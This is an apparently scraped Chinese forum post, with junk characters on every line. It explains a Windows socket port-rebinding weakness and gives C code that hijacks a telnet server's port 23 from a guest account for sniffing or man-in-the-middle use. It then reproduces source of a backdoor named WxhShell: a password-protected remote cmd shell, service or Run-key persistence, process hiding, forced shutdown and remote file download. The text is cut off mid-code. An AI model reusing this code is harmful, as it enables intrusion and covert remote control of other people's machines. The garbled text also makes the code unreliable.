在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p/HDG
^T:u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
E>|X'I?r^ *(F`NJ 3 saddr.sin_family = AF_INET;
k6;bUOo M}V!;o<t^ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Ic0Y MVsFi]- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
akzGJ3g y(p_Unm 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:lcq3iFn .+/d08] 这意味着什么?意味着可以进行如下的攻击:
d}[cX9U/ ro{!X, _$, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
GBbnR:hM #4msBax4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c>B1cR
:x*)o+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
IT_I.5*A2 :eVZ5?F 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]]O( IC bx8](cT_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
4VwF\ m0"K^p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
E[]5Od5# No'?8 +i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[X.bR$> vA1YyaB #include
3 !@ #include
`OBzOM #include
?dgyi4J?=` #include
0Ds3wNz DWORD WINAPI ClientThread(LPVOID lpParam);
20;9XJmjl int main()
!mmMAsd, {
(90/,@66l WORD wVersionRequested;
_fHml DWORD ret;
b|d-vnYE WSADATA wsaData;
uw}Rr7q BOOL val;
aixX/se SOCKADDR_IN saddr;
JL1ajlm~ SOCKADDR_IN scaddr;
WEimJrAn int err;
::|~tLFu SOCKET s;
g"! (@]L!@ SOCKET sc;
"?I#!t%' int caddsize;
}X&rJV HANDLE mt;
6Yj{%
G DWORD tid;
uZ!YGv0^ wVersionRequested = MAKEWORD( 2, 2 );
Gmz^vpQ]t err = WSAStartup( wVersionRequested, &wsaData );
ai{>rO3 }I if ( err != 0 ) {
f2i:I1 p(" printf("error!WSAStartup failed!\n");
08`|C)Z! return -1;
Qd[_W^QI }
1UP=(8j/ saddr.sin_family = AF_INET;
*VZ|Idp cuhp4!! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\HfAKBT % =^/^[D saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ky2 bj}"p9 saddr.sin_port = htons(23);
ci~#G[_$S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z%82Vt!a5 {
7zb^Z] printf("error!socket failed!\n");
i}) s4%a return -1;
&|/_"*uM }
5?kfE val = TRUE;
?h= n5}Y //SO_REUSEADDR选项就是可以实现端口重绑定的
{>f"&I<xw if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
E(jZ Do {
ZEP?~zV\A printf("error!setsockopt failed!\n");
g^'h4qOa return -1;
,&P
4%N" }
<+roY" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
qb>41j9_t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
*NmY] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
mlnF,+s 52w@.] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
fZG Y'o&5 {
G,u=ngZ] ret=GetLastError();
%71i&T F printf("error!bind failed!\n");
)kpEcMlR return -1;
N~v6K}`} }
u^"
I3u8$ listen(s,2);
i5VZ,E^E while(1)
)6OD@<r{ {
7n8nJTU{4j caddsize = sizeof(scaddr);
^3;B4tj[ //接受连接请求
QNj]wm=mp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Re$h6sh if(sc!=INVALID_SOCKET)
z5E%*] {
(Rw<1q`, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`q^#u if(mt==NULL)
2Y
vr|] \8 {
V(MYReaPC] printf("Thread Creat Failed!\n");
f[@96p?a[ break;
.H" ?&Mf }
s ^h@b!'7 }
ar3L|MN CloseHandle(mt);
"rv~I_zl }
t#k]K] closesocket(s);
0a~t WSACleanup();
nf.Ox.kM) return 0;
-@pjEI }
cHjQwl DWORD WINAPI ClientThread(LPVOID lpParam)
0HzqU31%l@ {
AkhG~L SOCKET ss = (SOCKET)lpParam;
aZFpt/.d SOCKET sc;
IDohv[# unsigned char buf[4096];
*WwM"NFHDd SOCKADDR_IN saddr;
W0qR?jc long num;
!GcBNQ1p+7 DWORD val;
_olQ;{ U: DWORD ret;
<LHhs<M' //如果是隐藏端口应用的话,可以在此处加一些判断
tW\yt~q, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
"r9Rr_,
> saddr.sin_family = AF_INET;
w'S,{GW saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;J%:DD saddr.sin_port = htons(23);
c4Ebre-Oa if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<DF3!r {
@N=vmtLP printf("error!socket failed!\n");
Vao:9~ return -1;
bJ~H }
DB'v7
Ij0 val = 100;
9]4Q@% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8Q'Emw | {
$%bSRvA ret = GetLastError();
l/.{F ;3F return -1;
bZqTT~'T }
J=g)rd[` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a=z] tTs4 {
M(%H ret = GetLastError();
>B BV/C'9 return -1;
)(iv#;ByL }
#N|\7(#~u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
OF-k7g7 {
g`Z=Y7jLH printf("error!socket connect failed!\n");
RRL{a6(? closesocket(sc);
u` pTFy closesocket(ss);
0=Z[6Q@: return -1;
YF%gs{ }
>!963>D R while(1)
n;g'?z=hy {
As:O|!F //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*dl hRa //如果是嗅探内容的话,可以再此处进行内容分析和记录
8&<mg;H, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:U6`n num = recv(ss,buf,4096,0);
JJ: ku&Mb if(num>0)
h4Crq Yxa_ send(sc,buf,num,0);
$y(;"hy else if(num==0)
bi<<z-q`wJ break;
M\ATT%b: num = recv(sc,buf,4096,0);
$0])%
if(num>0)
6u[fCGi% send(ss,buf,num,0);
Rh>B#
\ else if(num==0)
-ng1RA> break;
o! a,r3 }
':*H#}Br-# closesocket(ss);
E C#0-,z closesocket(sc);
;%e&6 return 0 ;
=[B\50] }
I/E 9: 7^L |[\;.gT K ==========================================================
N /4E
~^2 kAftW
' 下边附上一个代码,,WXhSHELL
$8tk|uh D"7}&Ry: ==========================================================
,AP&N'
qZ1'uln=C- #include "stdafx.h"
x#1Fi$. `#""JTA" #include <stdio.h>
i]8O?Ab>? #include <string.h>
s68(jYC7[ #include <windows.h>
X\^V{v^- #include <winsock2.h>
wJp<ZL #include <winsvc.h>
xS*UY.> #include <urlmon.h>
u]p21)m$x -3K h
>b) #pragma comment (lib, "Ws2_32.lib")
w~lH2U'k} #pragma comment (lib, "urlmon.lib")
sSM"~_y\ dC=[o\ #define MAX_USER 100 // 最大客户端连接数
t7=D$ua #define BUF_SOCK 200 // sock buffer
\Kl20? #define KEY_BUFF 255 // 输入 buffer
Q\Ek U.[I /%@;t@BK4 #define REBOOT 0 // 重启
fG0 ?"x@> #define SHUTDOWN 1 // 关机
gZ @+62 J8ni}\f #define DEF_PORT 5000 // 监听端口
I G1];vX %rwvY`\ #define REG_LEN 16 // 注册表键长度
P9v(5Z00|d #define SVC_LEN 80 // NT服务名长度
mLCDN1UO{ 0ho;L 0Nr' // 从dll定义API
.j}]J:{% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ORM>|& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
YWZ;@,W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
HuhQ|~C+~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
e@D_0OZ cu!%aM,/<- // wxhshell配置信息
jn(x-fj6R struct WSCFG {
MN?aPpr> int ws_port; // 监听端口
uwwR$
(\7 char ws_passstr[REG_LEN]; // 口令
[F-R*}&x int ws_autoins; // 安装标记, 1=yes 0=no
xyL"U* char ws_regname[REG_LEN]; // 注册表键名
Z.VKG1e} char ws_svcname[REG_LEN]; // 服务名
tv#oEM9esl char ws_svcdisp[SVC_LEN]; // 服务显示名
kK&w5' char ws_svcdesc[SVC_LEN]; // 服务描述信息
f$I=oN char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+kSu{Tc int ws_downexe; // 下载执行标记, 1=yes 0=no
(_FU3ZW! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
O(^h_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mU5Ox4>&9 t. P@Ba^ };
gInh+XZs *EWWN?d // default Wxhshell configuration
"\|P6H struct WSCFG wscfg={DEF_PORT,
JP#S/kJ%3 "xuhuanlingzhe",
,54z9F` 1,
EU[\D; "Wxhshell",
abo=v<mR "Wxhshell",
.}IW!$
dq "WxhShell Service",
O}M-6!%<, "Wrsky Windows CmdShell Service",
W[2]$TwT "Please Input Your Password: ",
Xa[k=qFo 1,
=j.TDv'^nd "
http://www.wrsky.com/wxhshell.exe",
t3<MoDe7`r "Wxhshell.exe"
3$?6rMl@y };
cBxGGggB ! M^O\C) // 消息定义模块
Tmzbh 9
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
IuwE&# char *msg_ws_prompt="\n\r? for help\n\r#>";
5(>=};r+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
">}6i9o char *msg_ws_ext="\n\rExit.";
s9Hxiw@D char *msg_ws_end="\n\rQuit.";
y:'Ns$+ char *msg_ws_boot="\n\rReboot...";
/7}pReUj char *msg_ws_poff="\n\rShutdown...";
]]j^ char *msg_ws_down="\n\rSave to ";
yE}\4_0I/ &8$v~ char *msg_ws_err="\n\rErr!";
*5)UIRd char *msg_ws_ok="\n\rOK!";
';C'9k<P: gk6f_0?X' char ExeFile[MAX_PATH];
1!z{{H;W int nUser = 0;
n`,
<g HANDLE handles[MAX_USER];
)vW'g3u _ int OsIsNt;
*Fy6-CC1 I~4z%UG SERVICE_STATUS serviceStatus;
2e_ Di(us SERVICE_STATUS_HANDLE hServiceStatusHandle;
juF9:Eah \.L jA_ // 函数声明
8t!jo.g int Install(void);
^r~[3NT int Uninstall(void);
wf8{v int DownloadFile(char *sURL, SOCKET wsh);
^{M$S0g|N int Boot(int flag);
4=Th<,< void HideProc(void);
t;* zr* int GetOsVer(void);
(*S<2HN5 int Wxhshell(SOCKET wsl);
Am,{Fj void TalkWithClient(void *cs);
+?J N_aR int CmdShell(SOCKET sock);
9$)&b\D int StartFromService(void);
uu6 JZp int StartWxhshell(LPSTR lpCmdLine);
=gVMt jQ{ @ol}n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
BUXE
s0]Lv VOID WINAPI NTServiceHandler( DWORD fdwControl );
<h -)zI ZJDV'mC} // 数据结构和表定义
q`xc h[H SERVICE_TABLE_ENTRY DispatchTable[] =
+ktv:d {
r=Xo; d*TE {wscfg.ws_svcname, NTServiceMain},
A5nggg4 {NULL, NULL}
r8 9o };
_vTr?jjfK 5r5on#O& // 自我安装
T]th3* int Install(void)
a_b#hM/c; {
DzVCEhf char svExeFile[MAX_PATH];
VrIN.x HKEY key;
<^YvgQ,m strcpy(svExeFile,ExeFile);
UT;%I_i!' D;en!.[Z // 如果是win9x系统,修改注册表设为自启动
m.D8@[y if(!OsIsNt) {
x?S86,RW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FX!KX/OE) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~.T|n = RegCloseKey(key);
7O55mc>cF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#Z1%XCt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
z|pt)Xl RegCloseKey(key);
z/\OtYz return 0;
Mt.Cj;h@^[ }
/43l}6I }
e]~p: }
Ph^1Ko"2 else {
cZVx4y%kz |]G%b[ // 如果是NT以上系统,安装为系统服务
MT!Y!*-5
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
U'=8:& if (schSCManager!=0)
h$8h@2% {
6{6hz8 SC_HANDLE schService = CreateService
'V]C.`9c (
qA>#;UTp schSCManager,
{Z2nc)|7C wscfg.ws_svcname,
k'8tcXs wscfg.ws_svcdisp,
F\eQV< SERVICE_ALL_ACCESS,
8UU
L= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
lC($@sC % SERVICE_AUTO_START,
m!ZY]:)$ SERVICE_ERROR_NORMAL,
bMKX9`*o svExeFile,
qSP&Fi NULL,
0OO[@Ht NULL,
"qgwuWbM NULL,
jL-2
}XrA NULL,
|R.yuSL)( NULL
-riX=K>$ );
Ch]d\G M if (schService!=0)
+zh\W9 {
UVux[qX< CloseServiceHandle(schService);
4EM+ Ye CloseServiceHandle(schSCManager);
ao)';[%9s strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Gwk$<6E strcat(svExeFile,wscfg.ws_svcname);
,8r?C !m] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,IB\1# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
DQGrXMpV0 RegCloseKey(key);
sJL Oz> return 0;
u\ _yjv# }
]hV!lG1_ }
UOb`@# CloseServiceHandle(schSCManager);
]@ruizb8 }
M
P8Sd1_= }
Hs)Cf)8u ?z>J7 }w*= return 1;
/3M8;>@u }
5n?P}kca) 'LMj.#A<g // 自我卸载
rfk{$g int Uninstall(void)
Qyw@ r {
3YMqp~4 HKEY key;
sT;wHtU Y\9}LgIvr if(!OsIsNt) {
W{-g?)Tou if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
SMrfEmdH+ RegDeleteValue(key,wscfg.ws_regname);
z%
bH?1^o RegCloseKey(key);
3O,nNt;L{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
UN'n~d@~ RegDeleteValue(key,wscfg.ws_regname);
v,iZnANZ&P RegCloseKey(key);
8?iI;( return 0;
@eJ8wf] }
5,
$6mU#= }
OMK,L:poC }
JlYZ\ else {
Q0(6n8i Ry>y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Po58@g if (schSCManager!=0)
>
-OOU {
6FzB-], SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
2PAu>}W* if (schService!=0)
`,'/Sdr {
VgVDTWs7 if(DeleteService(schService)!=0) {
Qa,= CloseServiceHandle(schService);
u@dvFzc CloseServiceHandle(schSCManager);
0Fb];:a return 0;
9)7$U QY }
AJ%E.+@=r CloseServiceHandle(schService);
"AUSgVE+h }
u9~5U9]O%6 CloseServiceHandle(schSCManager);
wW\[#Ku }
Zp)=l Td }
$w*L'
< 4|K\pCw return 1;
UF7h{V}) }
f|,Kh1{e RiQ]AsTtl // 从指定url下载文件
(6$P/k8 int DownloadFile(char *sURL, SOCKET wsh)
6C2~0b {
]JkEf?;. HRESULT hr;
u{DEOhtI4 char seps[]= "/";
estiS char *token;
BP9#}{kE char *file;
%rb$tKk char myURL[MAX_PATH];
9nN1f@Y char myFILE[MAX_PATH];
36{GZDGQ >[Vc$[62 strcpy(myURL,sURL);
;p+'?%Y} token=strtok(myURL,seps);
~1+6gG while(token!=NULL)
#DgHF*GG+> {
}sH[_%) file=token;
+4-T_m/W/ token=strtok(NULL,seps);
U,P>P+\@ }
Ms|c"?se Qn8xe, GetCurrentDirectory(MAX_PATH,myFILE);
I]C
Y>' strcat(myFILE, "\\");
}O*`I( strcat(myFILE, file);
@?<[//1 send(wsh,myFILE,strlen(myFILE),0);
T)gulP send(wsh,"...",3,0);
^7yt> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
3`cA!ZVQ if(hr==S_OK)
GCJ[x n(_ return 0;
n/skDx TE else
#B5,k|"/,M return 1;
o{y}c-> Wa|V~PL+T }
d9$RmCHe} K\2{SjL:B // 系统电源模块
UiG/Rn int Boot(int flag)
ZMQ=D!kT {
r>fGj\#R = HANDLE hToken;
{]+t< TOKEN_PRIVILEGES tkp;
Sy VGm@ Y]SF0:v!n if(OsIsNt) {
o*H U^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>>J3"XHX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5(H%Ia tkp.PrivilegeCount = 1;
upuN$4m&{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
zzZEX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
C=+9XfP 0 if(flag==REBOOT) {
I5M\PK/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
KzVi:Hm return 0;
^;_~mq. }
~snj92K else {
L"&T3i if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Z8v 8@Y return 0;
_P.I+!w:x }
%C_tBNE< }
LH4A!a] else {
a%r!55. if(flag==REBOOT) {
BI:Cm/ > if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~Y x_ 3 return 0;
_4N.]jr5 }
mU-2s%X<.^ else {
w5 . ^meU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
G[mqLI{q return 0;
Lyhuyb)k5^ }
?CAU+/ }
[1vm~w' c;kU|_ return 1;
m,Y/ke\ }
ZK]qQrIwy {J==y;dK // win9x进程隐藏模块
Bg]VaTm[= void HideProc(void)
J|BElBY {
^^V3nT2rR3 4<-Kd~uL HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
eS!]..%y if ( hKernel != NULL )
Em(_W5
ND{ {
57q= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
M )ET1ZM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,4H? + |! FreeLibrary(hKernel);
WhW}ZS'r }
bJ_rU35s> hH`x*:Qja return;
iI<c }
.u)KP*_ |Ml~Pmpp // 获取操作系统版本
r)|~Rs!y, int GetOsVer(void)
LWM<[8wJ4 {
ya&=UoI OSVERSIONINFO winfo;
WkuCnT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
jOV6% GetVersionEx(&winfo);
sa8O<Ab if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*/e$S[5 return 1;
"\@J0|ppb else
Ve(<s
return 0;
dCoP
qKy }
9Rk(q4.OP dT0W8oL // 客户端句柄模块
sLA.bp.O int Wxhshell(SOCKET wsl)
4<($ZN8 {
+S{m!j%B SOCKET wsh;
zls^JTE struct sockaddr_in client;
[]A9j?_w DWORD myID;
]ltCJq :=hL}(~] while(nUser<MAX_USER)
Yd3lL:M {
iTinZ!Ut int nSize=sizeof(client);
E.*hY+kGZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0HWSdf|w if(wsh==INVALID_SOCKET) return 1;
K F'fg
R c$ /.Xp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^dpM2$J if(handles[nUser]==0)
w<B
S closesocket(wsh);
'aEK{#en else
TIJH}Ri nUser++;
$}(Z]z}O ; }
x~5,v5R^] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qA '^b~ V<9L-7X 8 return 0;
p-"C^=l }
Qp<*or@ "9xJ},:- // 关闭 socket
?>+uO0*S void CloseIt(SOCKET wsh)
]izHn; + {
)r.Wge closesocket(wsh);
m^oG9&"; nUser--;
LhAN( [ ExitThread(0);
1vq2`lWpx }
9C \}bT vT#R>0@mi // 客户端请求句柄
q%G[tXw void TalkWithClient(void *cs)
B5 /8LEWw {
"1gIR^S%9 s#5#WNzP SOCKET wsh=(SOCKET)cs;
1?QVtfwY char pwd[SVC_LEN];
|WaWmp(pQ char cmd[KEY_BUFF];
<*J"6x char chr[1];
@rT$}O1?` int i,j;
F2zo
!a8 oqvu8" while (nUser < MAX_USER) {
Ei:m@}g nN&dtjoF if(wscfg.ws_passstr) {
M;XU"8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fa]8v6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ia%cc
L= //ZeroMemory(pwd,KEY_BUFF);
e5AsX.kvB i=0;
3DO*kM1s@ while(i<SVC_LEN) {
J?{sTj"KB 9 5!xJdq // 设置超时
ED8{ fd_set FdRead;
(tA[] ne2 struct timeval TimeOut;
P>q~ocq< FD_ZERO(&FdRead);
U>kaQ54/ FD_SET(wsh,&FdRead);
(A2ga):Pk TimeOut.tv_sec=8;
jk`U7G* TimeOut.tv_usec=0;
IsT}T}p,t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Uhvy2}w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:Jyr^0`J Pm P&Qje7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9=}#.W3. pwd
=chr[0]; )Jvo%Y
if(chr[0]==0xd || chr[0]==0xa) { IgJG,!>h
pwd=0; |d&Kr0QIV
break; c*#$sZ@YA
} JQ
?8yl
i++; x(>XM:|
} jA^yUd-
N#-%b"(
// 如果是非法用户,关闭 socket b6;MTz*k>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~Q"qz<WO
} !]R>D{""
B0RVtbK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &u9,|n]O9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ipu~T)}
A
PSkW9H
while(1) { ,&,XcbJ
_H U>T
ZeroMemory(cmd,KEY_BUFF); V9ZM4.,OCN
6 [bQ'Ir^8
// 自动支持客户端 telnet标准 N\ <riS9
j=0; }qGd*k0F0
while(j<KEY_BUFF) { wy|b Hkr_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -^_^ByJe
cmd[j]=chr[0]; :
HU|BJ>
if(chr[0]==0xa || chr[0]==0xd) { [2Y@O7;nI
cmd[j]=0; @sa_/LH!K
break; TyO]|Q5
} y z3=#
j++; ^VzhjKSu
} w?_'sP{pd
fvta<
// 下载文件 }x6)}sz7
if(strstr(cmd,"http://")) { "w 4^i!\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); LTx,oa:ma
if(DownloadFile(cmd,wsh)) YpZuAJm<2_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~2[kCuu
else T
g(\7Kq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `E;xI v|
} EFU)0IAL[
else { I<W<;A
k N* I_#
switch(cmd[0]) { ?w'03lr%
P7X3>5<;q
// 帮助 Z9MU%*N
case '?': { H9;IA>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uQ
]ZMc
break; <QgpePyoN
} sc-+?i
// 安装 !F?j'[s8]
case 'i': { r0f&n;0U4
if(Install()) y'6l fThT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |d\1xTBLp
else ME>Sh~C\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n[;)(
break; C!K&d,M
} Y ajAz5N
// 卸载 )~xH!%4F
case 'r': { lV./K;\T
if(Uninstall())
[g@Uc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N.|zz)y
else ifWQwS/,a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "J&WH~8+N
break; TrgKl2xfx
} m1K4_a)^[
// 显示 wxhshell 所在路径 Z6So5r%wZ
case 'p': { .i;?8?
char svExeFile[MAX_PATH]; Dg Rn^gL{Q
strcpy(svExeFile,"\n\r"); L;Yn q<x
strcat(svExeFile,ExeFile); @}r
s6 G
send(wsh,svExeFile,strlen(svExeFile),0); Nw,|4S
break; <}xgp[O
} UZ-pN_!Z:
// 重启 KAVkYL0
case 'b': { ~4#D
G^5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M`iE'x
if(Boot(REBOOT)) [\ 0>@j}Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -:!Wds
else { TQ~a5q
closesocket(wsh); 00-2u~D&
ExitThread(0); Om;`"5
} W}k/>V_
break; hVz]',
} 00>knCe6
// 关机 aU.!+e%_
case 'd': { EpT^r8I
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8B "^}y\0
if(Boot(SHUTDOWN)) &\ad.O/Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U.Z5;E0:
else { 0Bkc93
closesocket(wsh); ;B }4pv}
ExitThread(0); lN"@5(5%
} -`X`Ff
break; hq&9S{Ep
} A*|\E:fo
// 获取shell 3 l
j^I
case 's': { EIpz-"S
CmdShell(wsh); NTGWI$
closesocket(wsh); wSZMHIW
ExitThread(0); 4UPxV"H
break; RA){\~@wC
} 6#:V3 ;
// 退出 j5smmtM`s
case 'x': { Vvv;m 5.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ofb&W
AD
CloseIt(wsh); ,t*H: *
break; >~'z%
} }Q^*Zq9-
// 离开 "2tKh!?Q
case 'q': { cUw$F{|W
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )RWY("SUy1
closesocket(wsh); ?oV|.LM:W
WSACleanup(); &tiJ=;R1
exit(1); &-My[t
break; [s]
ZT
} {g4w[F!77
} y\:Ma7V
} ^FTS'/Q
pz{ ]O_px
// 提示信息 &:}WfY!hX
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tQ.H/;
} kf95 )iLo
} ExFz@6@
s?Gv/&
return; T;,,!
} c:B` <
I,Jb_)H&t
// shell模块句柄 r0pwKRE~t
int CmdShell(SOCKET sock) V1Gnr~GM
{ iJKGzHvS
STARTUPINFO si; 3".#nN
ZeroMemory(&si,sizeof(si)); D mky!Cp
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l&Y'5k_R
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rodqa
PROCESS_INFORMATION ProcessInfo; IF6-VFY:6
char cmdline[]="cmd"; L)9Z Op5
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9.9B#?
return 0; Le/}xST@
}
%z~kHL
\zDs3Hp
// 自身启动模式 hdmKD0
int StartFromService(void) 7^d7:1M
{ \W\*'C8q\
typedef struct 9pWSvalw9
{ &2ty++gC
DWORD ExitStatus; ;R@D
